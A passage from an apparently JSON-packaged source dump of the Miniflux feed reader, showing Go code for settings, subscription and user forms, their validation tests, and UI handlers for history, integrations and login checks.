{\n\t\t\treturn locale.NewLocalizedError(\"error.settings_invalid_domain_list\")\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// NewSettingsForm returns a new SettingsForm.\nfunc NewSettingsForm(r *http.Request) *SettingsForm {\n\tentriesPerPage, err := strconv.Atoi(r.FormValue(\"entries_per_page\"))\n\tif err != nil {\n\t\tentriesPerPage = 0\n\t}\n\tdefaultReadingSpeed, err := strconv.Atoi(r.FormValue(\"default_reading_speed\"))\n\tif err != nil {\n\t\tdefaultReadingSpeed = 0\n\t}\n\tcjkReadingSpeed, err := strconv.Atoi(r.FormValue(\"cjk_reading_speed\"))\n\tif err != nil {\n\t\tcjkReadingSpeed = 0\n\t}\n\tmediaPlaybackRate, err := strconv.ParseFloat(r.FormValue(\"media_playback_rate\"), 64)\n\tif err != nil {\n\t\tmediaPlaybackRate = 1\n\t}\n\treturn &SettingsForm{\n\t\tUsername:                  r.FormValue(\"username\"),\n\t\tPassword:                  r.FormValue(\"password\"),\n\t\tConfirmation:              r.FormValue(\"confirmation\"),\n\t\tTheme:                     r.FormValue(\"theme\"),\n\t\tLanguage:                  r.FormValue(\"language\"),\n\t\tTimezone:                  r.FormValue(\"timezone\"),\n\t\tEntryDirection:            r.FormValue(\"entry_direction\"),\n\t\tEntryOrder:                r.FormValue(\"entry_order\"),\n\t\tEntriesPerPage:            int(entriesPerPage),\n\t\tKeyboardShortcuts:         r.FormValue(\"keyboard_shortcuts\") == \"1\",\n\t\tShowReadingTime:           r.FormValue(\"show_reading_time\") == \"1\",\n\t\tCustomCSS:                 r.FormValue(\"custom_css\"),\n\t\tCustomJS:                  r.FormValue(\"custom_js\"),\n\t\tExternalFontHosts:         r.FormValue(\"external_font_hosts\"),\n\t\tEntrySwipe:                r.FormValue(\"entry_swipe\") == \"1\",\n\t\tGestureNav:                r.FormValue(\"gesture_nav\"),\n\t\tDisplayMode:               r.FormValue(\"display_mode\"),\n\t\tDefaultReadingSpeed:       int(defaultReadingSpeed),\n\t\tCJKReadingSpeed:           int(cjkReadingSpeed),\n\t\tDefaultHomePage:           r.FormValue(\"default_home_page\"),\n\t\tCategoriesSortingOrder:    r.FormValue(\"categories_sorting_order\"),\n\t\tMarkReadOnView:            r.FormValue(\"mark_read_on_view\") == \"1\",\n\t\tMarkReadBehavior:          markReadBehavior(r.FormValue(\"mark_read_behavior\")),\n\t\tMediaPlaybackRate:         mediaPlaybackRate,\n\t\tBlockFilterEntryRules:     r.FormValue(\"block_filter_entry_rules\"),\n\t\tKeepFilterEntryRules:      r.FormValue(\"keep_filter_entry_rules\"),\n\t\tAlwaysOpenExternalLinks:   r.FormValue(\"always_open_external_links\") == \"1\",\n\t\tOpenExternalLinksInNewTab: r.FormValue(\"open_external_links_in_new_tab\") == \"1\",\n\t}\n}\n"
  },
  {
    "path": "internal/ui/form/settings_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage form // import \"miniflux.app/v2/internal/ui/form\"\n\nimport (\n\t\"testing\"\n)\n\nfunc TestValid(t *testing.T) {\n\tsettings := &SettingsForm{\n\t\tUsername:                \"user\",\n\t\tPassword:                \"hunter2\",\n\t\tConfirmation:            \"hunter2\",\n\t\tTheme:                   \"default\",\n\t\tLanguage:                \"en_US\",\n\t\tTimezone:                \"UTC\",\n\t\tEntryDirection:          \"asc\",\n\t\tEntriesPerPage:          50,\n\t\tDisplayMode:             \"standalone\",\n\t\tGestureNav:              \"tap\",\n\t\tDefaultReadingSpeed:     35,\n\t\tCJKReadingSpeed:         25,\n\t\tDefaultHomePage:         \"unread\",\n\t\tMediaPlaybackRate:       1.25,\n\t\tAlwaysOpenExternalLinks: true,\n\t}\n\n\terr := settings.Validate()\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n}\n\nfunc TestConfirmationEmpty(t *testing.T) {\n\tsettings := &SettingsForm{\n\t\tUsername:                \"user\",\n\t\tPassword:                \"hunter2\",\n\t\tConfirmation:            \"\",\n\t\tTheme:                   \"default\",\n\t\tLanguage:                \"en_US\",\n\t\tTimezone:                \"UTC\",\n\t\tEntryDirection:          \"asc\",\n\t\tEntriesPerPage:          50,\n\t\tDisplayMode:             \"standalone\",\n\t\tGestureNav:              \"tap\",\n\t\tDefaultReadingSpeed:     35,\n\t\tCJKReadingSpeed:         25,\n\t\tDefaultHomePage:         \"unread\",\n\t\tMediaPlaybackRate:       1.25,\n\t\tAlwaysOpenExternalLinks: true,\n\t}\n\n\terr := settings.Validate()\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif settings.Password != \"\" {\n\t\tt.Error(\"Password should have been cleared\")\n\t}\n}\n\nfunc TestConfirmationIncorrect(t *testing.T) {\n\tsettings := &SettingsForm{\n\t\tUsername:                \"user\",\n\t\tPassword:                \"hunter2\",\n\t\tConfirmation:            \"unter2\",\n\t\tTheme:                   \"default\",\n\t\tLanguage:                \"en_US\",\n\t\tTimezone:                \"UTC\",\n\t\tEntryDirection:          \"asc\",\n\t\tEntriesPerPage:          50,\n\t\tDisplayMode:             \"standalone\",\n\t\tGestureNav:              \"tap\",\n\t\tDefaultReadingSpeed:     35,\n\t\tCJKReadingSpeed:         25,\n\t\tDefaultHomePage:         \"unread\",\n\t\tMediaPlaybackRate:       1.25,\n\t\tAlwaysOpenExternalLinks: true,\n\t}\n\n\terr := settings.Validate()\n\tif err == nil {\n\t\tt.Error(\"Validate should return an error\")\n\t}\n}\n"
  },
  {
    "path": "internal/ui/form/subscription.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage form // import \"miniflux.app/v2/internal/ui/form\"\n\nimport (\n\t\"net/http\"\n\t\"strconv\"\n\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\n// SubscriptionForm represents the subscription form.\ntype SubscriptionForm struct {\n\tURL                         string\n\tCategoryID                  int64\n\tCrawler                     bool\n\tIgnoreEntryUpdates          bool\n\tFetchViaProxy               bool\n\tAllowSelfSignedCertificates bool\n\tUserAgent                   string\n\tCookie                      string\n\tUsername                    string\n\tPassword                    string\n\tScraperRules                string\n\tRewriteRules                string\n\tUrlRewriteRules             string\n\tBlocklistRules              string\n\tKeeplistRules               string\n\tBlockFilterEntryRules       string\n\tKeepFilterEntryRules        string\n\tDisableHTTP2                bool\n\tProxyURL                    string\n}\n\n// Validate makes sure the form values locale.are valid.\nfunc (s *SubscriptionForm) Validate() *locale.LocalizedError {\n\tif s.URL == \"\" || s.CategoryID == 0 {\n\t\treturn locale.NewLocalizedError(\"error.feed_mandatory_fields\")\n\t}\n\n\tif !urllib.IsAbsoluteURL(s.URL) {\n\t\treturn locale.NewLocalizedError(\"error.invalid_feed_url\")\n\t}\n\n\tif !validator.IsValidRegex(s.BlocklistRules) {\n\t\treturn locale.NewLocalizedError(\"error.feed_invalid_blocklist_rule\")\n\t}\n\n\tif !validator.IsValidRegex(s.KeeplistRules) {\n\t\treturn locale.NewLocalizedError(\"error.feed_invalid_keeplist_rule\")\n\t}\n\n\tif !validator.IsValidRegex(s.UrlRewriteRules) {\n\t\treturn locale.NewLocalizedError(\"error.feed_invalid_urlrewrite_rule\")\n\t}\n\n\tif s.ProxyURL != \"\" && !urllib.IsAbsoluteURL(s.ProxyURL) {\n\t\treturn locale.NewLocalizedError(\"error.invalid_feed_proxy_url\")\n\t}\n\n\treturn nil\n}\n\n// NewSubscriptionForm returns a new SubscriptionForm.\nfunc NewSubscriptionForm(r *http.Request) *SubscriptionForm {\n\tcategoryID, err := strconv.Atoi(r.FormValue(\"category_id\"))\n\tif err != nil {\n\t\tcategoryID = 0\n\t}\n\n\treturn &SubscriptionForm{\n\t\tURL:                         r.FormValue(\"url\"),\n\t\tCategoryID:                  int64(categoryID),\n\t\tCrawler:                     r.FormValue(\"crawler\") == \"1\",\n\t\tIgnoreEntryUpdates:          r.FormValue(\"ignore_entry_updates\") == \"1\",\n\t\tAllowSelfSignedCertificates: r.FormValue(\"allow_self_signed_certificates\") == \"1\",\n\t\tFetchViaProxy:               r.FormValue(\"fetch_via_proxy\") == \"1\",\n\t\tUserAgent:                   r.FormValue(\"user_agent\"),\n\t\tCookie:                      r.FormValue(\"cookie\"),\n\t\tUsername:                    r.FormValue(\"feed_username\"),\n\t\tPassword:                    r.FormValue(\"feed_password\"),\n\t\tScraperRules:                r.FormValue(\"scraper_rules\"),\n\t\tRewriteRules:                r.FormValue(\"rewrite_rules\"),\n\t\tUrlRewriteRules:             r.FormValue(\"urlrewrite_rules\"),\n\t\tBlocklistRules:              r.FormValue(\"blocklist_rules\"),\n\t\tKeeplistRules:               r.FormValue(\"keeplist_rules\"),\n\t\tKeepFilterEntryRules:        r.FormValue(\"keep_filter_entry_rules\"),\n\t\tBlockFilterEntryRules:       r.FormValue(\"block_filter_entry_rules\"),\n\t\tDisableHTTP2:                r.FormValue(\"disable_http2\") == \"1\",\n\t\tProxyURL:                    r.FormValue(\"proxy_url\"),\n\t}\n}\n"
  },
  {
    "path": "internal/ui/form/user.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage form // import \"miniflux.app/v2/internal/ui/form\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// UserForm represents the user form.\ntype UserForm struct {\n\tUsername     string\n\tPassword     string\n\tConfirmation string\n\tIsAdmin      bool\n}\n\n// ValidateCreation validates user creation.\nfunc (u UserForm) ValidateCreation() *locale.LocalizedError {\n\tif u.Username == \"\" || u.Password == \"\" || u.Confirmation == \"\" {\n\t\treturn locale.NewLocalizedError(\"error.fields_mandatory\")\n\t}\n\n\tif u.Password != u.Confirmation {\n\t\treturn locale.NewLocalizedError(\"error.different_passwords\")\n\t}\n\n\treturn nil\n}\n\n// ValidateModification validates user modification.\nfunc (u UserForm) ValidateModification() *locale.LocalizedError {\n\tif u.Username == \"\" {\n\t\treturn locale.NewLocalizedError(\"error.user_mandatory_fields\")\n\t}\n\n\tif u.Password != \"\" {\n\t\tif u.Password != u.Confirmation {\n\t\t\treturn locale.NewLocalizedError(\"error.different_passwords\")\n\t\t}\n\n\t\tif len(u.Password) < 6 {\n\t\t\treturn locale.NewLocalizedError(\"error.password_min_length\")\n\t\t}\n\t}\n\n\treturn nil\n}\n\n// Merge updates the fields of the given user.\nfunc (u UserForm) Merge(user *model.User) *model.User {\n\tuser.Username = u.Username\n\tuser.IsAdmin = u.IsAdmin\n\n\tif u.Password != \"\" {\n\t\tuser.Password = u.Password\n\t}\n\n\treturn user\n}\n\n// NewUserForm returns a new UserForm.\nfunc NewUserForm(r *http.Request) *UserForm {\n\treturn &UserForm{\n\t\tUsername:     r.FormValue(\"username\"),\n\t\tPassword:     r.FormValue(\"password\"),\n\t\tConfirmation: r.FormValue(\"confirmation\"),\n\t\tIsAdmin:      r.FormValue(\"is_admin\") == \"1\",\n\t}\n}\n"
  },
  {
    "path": "internal/ui/form/webauthn.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage form // import \"miniflux.app/v2/internal/ui/form\"\n\nimport (\n\t\"net/http\"\n)\n\n// WebauthnForm represents a credential rename form in the UI\ntype WebauthnForm struct {\n\tName string\n}\n\n// NewWebauthnForm returns a new WebnauthnForm.\nfunc NewWebauthnForm(r *http.Request) *WebauthnForm {\n\treturn &WebauthnForm{\n\t\tName: r.FormValue(\"name\"),\n\t}\n}\n"
  },
  {
    "path": "internal/ui/handler.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"fmt\"\n\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/template\"\n\t\"miniflux.app/v2/internal/worker\"\n)\n\ntype handler struct {\n\tbasePath string\n\tstore    *storage.Storage\n\ttpl      *template.Engine\n\tpool     *worker.Pool\n}\n\nfunc (h *handler) routePath(format string, args ...any) string {\n\tif len(args) > 0 {\n\t\treturn h.basePath + fmt.Sprintf(format, args...)\n\t}\n\treturn h.basePath + format\n}\n"
  },
  {
    "path": "internal/ui/history_entries.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showHistoryPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\toffset := request.QueryIntParam(r, \"offset\", 0)\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithStatus(model.EntryStatusRead)\n\tbuilder.WithSorting(\"changed_at\", \"DESC\")\n\tbuilder.WithSorting(\"published_at\", \"DESC\")\n\tbuilder.WithOffset(offset)\n\tbuilder.WithLimit(user.EntriesPerPage)\n\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcount, err := builder.CountEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"entries\", entries)\n\tview.Set(\"total\", count)\n\tview.Set(\"pagination\", getPagination(h.routePath(\"/history\"), count, offset, user.EntriesPerPage))\n\tview.Set(\"menu\", \"history\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"history_entries\"))\n}\n"
  },
  {
    "path": "internal/ui/history_flush.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) flushHistory(w http.ResponseWriter, r *http.Request) {\n\terr := h.store.FlushHistory(request.UserID(r))\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, \"OK\")\n}\n"
  },
  {
    "path": "internal/ui/integration_show.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showIntegrationPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tintegration, err := h.store.Integration(user.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tintegrationForm := form.IntegrationForm{\n\t\tPinboardEnabled:                  integration.PinboardEnabled,\n\t\tPinboardToken:                    integration.PinboardToken,\n\t\tPinboardTags:                     integration.PinboardTags,\n\t\tPinboardMarkAsUnread:             integration.PinboardMarkAsUnread,\n\t\tInstapaperEnabled:                integration.InstapaperEnabled,\n\t\tInstapaperUsername:               integration.InstapaperUsername,\n\t\tInstapaperPassword:               integration.InstapaperPassword,\n\t\tFeverEnabled:                     integration.FeverEnabled,\n\t\tFeverUsername:                    integration.FeverUsername,\n\t\tGoogleReaderEnabled:              integration.GoogleReaderEnabled,\n\t\tGoogleReaderUsername:             integration.GoogleReaderUsername,\n\t\tWallabagEnabled:                  integration.WallabagEnabled,\n\t\tWallabagOnlyURL:                  integration.WallabagOnlyURL,\n\t\tWallabagURL:                      integration.WallabagURL,\n\t\tWallabagClientID:                 integration.WallabagClientID,\n\t\tWallabagClientSecret:             integration.WallabagClientSecret,\n\t\tWallabagUsername:                 integration.WallabagUsername,\n\t\tWallabagPassword:                 integration.WallabagPassword,\n\t\tWallabagTags:                     integration.WallabagTags,\n\t\tNotionEnabled:                    integration.NotionEnabled,\n\t\tNotionPageID:                     integration.NotionPageID,\n\t\tNotionToken:                      integration.NotionToken,\n\t\tNunuxKeeperEnabled:               integration.NunuxKeeperEnabled,\n\t\tNunuxKeeperURL:                   integration.NunuxKeeperURL,\n\t\tNunuxKeeperAPIKey:                integration.NunuxKeeperAPIKey,\n\t\tEspialEnabled:                    integration.EspialEnabled,\n\t\tEspialURL:                        integration.EspialURL,\n\t\tEspialAPIKey:                     integration.EspialAPIKey,\n\t\tEspialTags:                       integration.EspialTags,\n\t\tReadwiseEnabled:                  integration.ReadwiseEnabled,\n\t\tReadwiseAPIKey:                   integration.ReadwiseAPIKey,\n\t\tTelegramBotEnabled:               integration.TelegramBotEnabled,\n\t\tTelegramBotToken:                 integration.TelegramBotToken,\n\t\tTelegramBotChatID:                integration.TelegramBotChatID,\n\t\tTelegramBotTopicID:               integration.TelegramBotTopicID,\n\t\tTelegramBotDisableWebPagePreview: integration.TelegramBotDisableWebPagePreview,\n\t\tTelegramBotDisableNotification:   integration.TelegramBotDisableNotification,\n\t\tTelegramBotDisableButtons:        integration.TelegramBotDisableButtons,\n\t\tLinkAceEnabled:                   integration.LinkAceEnabled,\n\t\tLinkAceURL:                       integration.LinkAceURL,\n\t\tLinkAceAPIKey:                    integration.LinkAceAPIKey,\n\t\tLinkAceTags:                      integration.LinkAceTags,\n\t\tLinkAcePrivate:                   integration.LinkAcePrivate,\n\t\tLinkAceCheckDisabled:             integration.LinkAceCheckDisabled,\n\t\tLinkdingEnabled:                  integration.LinkdingEnabled,\n\t\tLinkdingURL:                      integration.LinkdingURL,\n\t\tLinkdingAPIKey:                   integration.LinkdingAPIKey,\n\t\tLinkdingTags:                     integration.LinkdingTags,\n\t\tLinkdingMarkAsUnread:             integration.LinkdingMarkAsUnread,\n\t\tLinktacoEnabled:                  integration.LinktacoEnabled,\n\t\tLinktacoAPIToken:                 integration.LinktacoAPIToken,\n\t\tLinktacoOrgSlug:                  integration.LinktacoOrgSlug,\n\t\tLinktacoTags:                     integration.LinktacoTags,\n\t\tLinktacoVisibility:               integration.LinktacoVisibility,\n\t\tLinkwardenEnabled:                integration.LinkwardenEnabled,\n\t\tLinkwardenURL:                    integration.LinkwardenURL,\n\t\tLinkwardenAPIKey:                 integration.LinkwardenAPIKey,\n\t\tLinkwardenCollectionID:           integration.LinkwardenCollectionID,\n\t\tMatrixBotEnabled:                 integration.MatrixBotEnabled,\n\t\tMatrixBotUser:                    integration.MatrixBotUser,\n\t\tMatrixBotPassword:                integration.MatrixBotPassword,\n\t\tMatrixBotURL:                     integration.MatrixBotURL,\n\t\tMatrixBotChatID:                  integration.MatrixBotChatID,\n\t\tAppriseEnabled:                   integration.AppriseEnabled,\n\t\tAppriseURL:                       integration.AppriseURL,\n\t\tAppriseServicesURL:               integration.AppriseServicesURL,\n\t\tReadeckEnabled:                   integration.ReadeckEnabled,\n\t\tReadeckPushEnabled:               integration.ReadeckPushEnabled,\n\t\tReadeckURL:                       integration.ReadeckURL,\n\t\tReadeckAPIKey:                    integration.ReadeckAPIKey,\n\t\tReadeckLabels:                    integration.ReadeckLabels,\n\t\tReadeckOnlyURL:                   integration.ReadeckOnlyURL,\n\t\tShioriEnabled:                    integration.ShioriEnabled,\n\t\tShioriURL:                        integration.ShioriURL,\n\t\tShioriUsername:                   integration.ShioriUsername,\n\t\tShioriPassword:                   integration.ShioriPassword,\n\t\tShaarliEnabled:                   integration.ShaarliEnabled,\n\t\tShaarliURL:                       integration.ShaarliURL,\n\t\tShaarliAPISecret:                 integration.ShaarliAPISecret,\n\t\tWebhookEnabled:                   integration.WebhookEnabled,\n\t\tWebhookURL:                       integration.WebhookURL,\n\t\tWebhookSecret:                    integration.WebhookSecret,\n\t\tRSSBridgeEnabled:                 integration.RSSBridgeEnabled,\n\t\tRSSBridgeURL:                     integration.RSSBridgeURL,\n\t\tRSSBridgeToken:                   integration.RSSBridgeToken,\n\t\tOmnivoreEnabled:                  integration.OmnivoreEnabled,\n\t\tOmnivoreAPIKey:                   integration.OmnivoreAPIKey,\n\t\tOmnivoreURL:                      integration.OmnivoreURL,\n\t\tKarakeepEnabled:                  integration.KarakeepEnabled,\n\t\tKarakeepAPIKey:                   integration.KarakeepAPIKey,\n\t\tKarakeepURL:                      integration.KarakeepURL,\n\t\tKarakeepTags:                     integration.KarakeepTags,\n\t\tRaindropEnabled:                  integration.RaindropEnabled,\n\t\tRaindropToken:                    integration.RaindropToken,\n\t\tRaindropCollectionID:             integration.RaindropCollectionID,\n\t\tRaindropTags:                     integration.RaindropTags,\n\t\tBetulaEnabled:                    integration.BetulaEnabled,\n\t\tBetulaURL:                        integration.BetulaURL,\n\t\tBetulaToken:                      integration.BetulaToken,\n\t\tNtfyEnabled:                      integration.NtfyEnabled,\n\t\tNtfyTopic:                        integration.NtfyTopic,\n\t\tNtfyURL:                          integration.NtfyURL,\n\t\tNtfyAPIToken:                     integration.NtfyAPIToken,\n\t\tNtfyUsername:                     integration.NtfyUsername,\n\t\tNtfyPassword:                     integration.NtfyPassword,\n\t\tNtfyIconURL:                      integration.NtfyIconURL,\n\t\tNtfyInternalLinks:                integration.NtfyInternalLinks,\n\t\tCuboxEnabled:                     integration.CuboxEnabled,\n\t\tCuboxAPILink:                     integration.CuboxAPILink,\n\t\tDiscordEnabled:                   integration.DiscordEnabled,\n\t\tDiscordWebhookLink:               integration.DiscordWebhookLink,\n\t\tSlackEnabled:                     integration.SlackEnabled,\n\t\tSlackWebhookLink:                 integration.SlackWebhookLink,\n\t\tPushoverEnabled:                  integration.PushoverEnabled,\n\t\tPushoverUser:                     integration.PushoverUser,\n\t\tPushoverToken:                    integration.PushoverToken,\n\t\tPushoverDevice:                   integration.PushoverDevice,\n\t\tPushoverPrefix:                   integration.PushoverPrefix,\n\t\tArchiveorgEnabled:                integration.ArchiveorgEnabled,\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"form\", integrationForm)\n\tview.Set(\"menu\", \"settings\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"integrations\"))\n}\n"
  },
  {
    "path": "internal/ui/integration_update.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"crypto/md5\"\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n)\n\nfunc (h *handler) updateIntegration(w http.ResponseWriter, r *http.Request) {\n\tprinter := locale.NewPrinter(request.UserLanguage(r))\n\tsess := session.New(h.store, request.SessionID(r))\n\tuserID := request.UserID(r)\n\n\tintegration, err := h.store.Integration(userID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tintegrationForm := form.NewIntegrationForm(r)\n\tintegrationForm.Merge(integration)\n\n\tif integration.FeverUsername != \"\" && h.store.HasDuplicateFeverUsername(userID, integration.FeverUsername) {\n\t\tsess.NewFlashErrorMessage(printer.Print(\"error.duplicate_fever_username\"))\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/integrations\"))\n\t\treturn\n\t}\n\n\tif integration.FeverEnabled {\n\t\tif integrationForm.FeverPassword != \"\" {\n\t\t\tintegration.FeverToken = fmt.Sprintf(\"%x\", md5.Sum([]byte(integration.FeverUsername+\":\"+integrationForm.FeverPassword)))\n\t\t}\n\t} else {\n\t\tintegration.FeverToken = \"\"\n\t}\n\n\tif integration.GoogleReaderUsername != \"\" && h.store.HasDuplicateGoogleReaderUsername(userID, integration.GoogleReaderUsername) {\n\t\tsess.NewFlashErrorMessage(printer.Print(\"error.duplicate_googlereader_username\"))\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/integrations\"))\n\t\treturn\n\t}\n\n\tif integration.GoogleReaderEnabled {\n\t\tif integrationForm.GoogleReaderPassword != \"\" {\n\t\t\tintegration.GoogleReaderPassword, err = crypto.HashPassword(integrationForm.GoogleReaderPassword)\n\t\t\tif err != nil {\n\t\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t} else {\n\t\tintegration.GoogleReaderPassword = \"\"\n\t}\n\n\tif integrationForm.WebhookEnabled {\n\t\tif integrationForm.WebhookURL == \"\" {\n\t\t\tintegration.WebhookEnabled = false\n\t\t\tintegration.WebhookSecret = \"\"\n\t\t} else if integration.WebhookSecret == \"\" {\n\t\t\tintegration.WebhookSecret = crypto.GenerateRandomStringHex(32)\n\t\t}\n\t} else {\n\t\tintegration.WebhookURL = \"\"\n\t\tintegration.WebhookSecret = \"\"\n\t}\n\n\tif integrationForm.LinktacoEnabled {\n\t\tif integrationForm.LinktacoAPIToken == \"\" || integrationForm.LinktacoOrgSlug == \"\" {\n\t\t\tsess.NewFlashErrorMessage(printer.Print(\"error.linktaco_missing_required_fields\"))\n\t\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/integrations\"))\n\t\t\treturn\n\t\t}\n\t\tif integration.LinktacoVisibility == \"\" {\n\t\t\tintegration.LinktacoVisibility = \"PUBLIC\"\n\t\t}\n\t}\n\n\terr = h.store.UpdateIntegration(integration)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess.NewFlashMessage(printer.Print(\"alert.prefs_saved\"))\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/integrations\"))\n}\n"
  },
  {
    "path": "internal/ui/login_check.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"log/slog\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/cookie\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\nfunc (h *handler) checkLogin(w http.ResponseWriter, r *http.Request) {\n\tclientIP := request.ClientIP(r)\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tredirectURL := r.FormValue(\"redirect_url\")\n\tview.Set(\"redirectURL\", redirectURL)\n\n\tif config.Opts.DisableLocalAuth() {\n\t\tslog.Warn(\"blocking local auth login attempt, local auth is disabled\",\n\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t)\n\t\tresponse.HTML(w, r, view.Render(\"login\"))\n\t\treturn\n\t}\n\n\tauthForm := form.NewAuthForm(r)\n\tview.Set(\"errorMessage\", locale.NewLocalizedError(\"error.bad_credentials\").Translate(request.UserLanguage(r)))\n\tview.Set(\"form\", authForm)\n\n\tif validationErr := authForm.Validate(); validationErr != nil {\n\t\ttranslatedErrorMessage := validationErr.Translate(request.UserLanguage(r))\n\t\tslog.Warn(\"Validation error during login check\",\n\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\tslog.String(\"username\", authForm.Username),\n\t\t\tslog.Any(\"error\", translatedErrorMessage),\n\t\t)\n\t\tresponse.HTML(w, r, view.Render(\"login\"))\n\t\treturn\n\t}\n\n\tif err := h.store.CheckPassword(authForm.Username, authForm.Password); err != nil {\n\t\tslog.Warn(\"Incorrect username or password\",\n\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\tslog.String(\"username\", authForm.Username),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\tresponse.HTML(w, r, 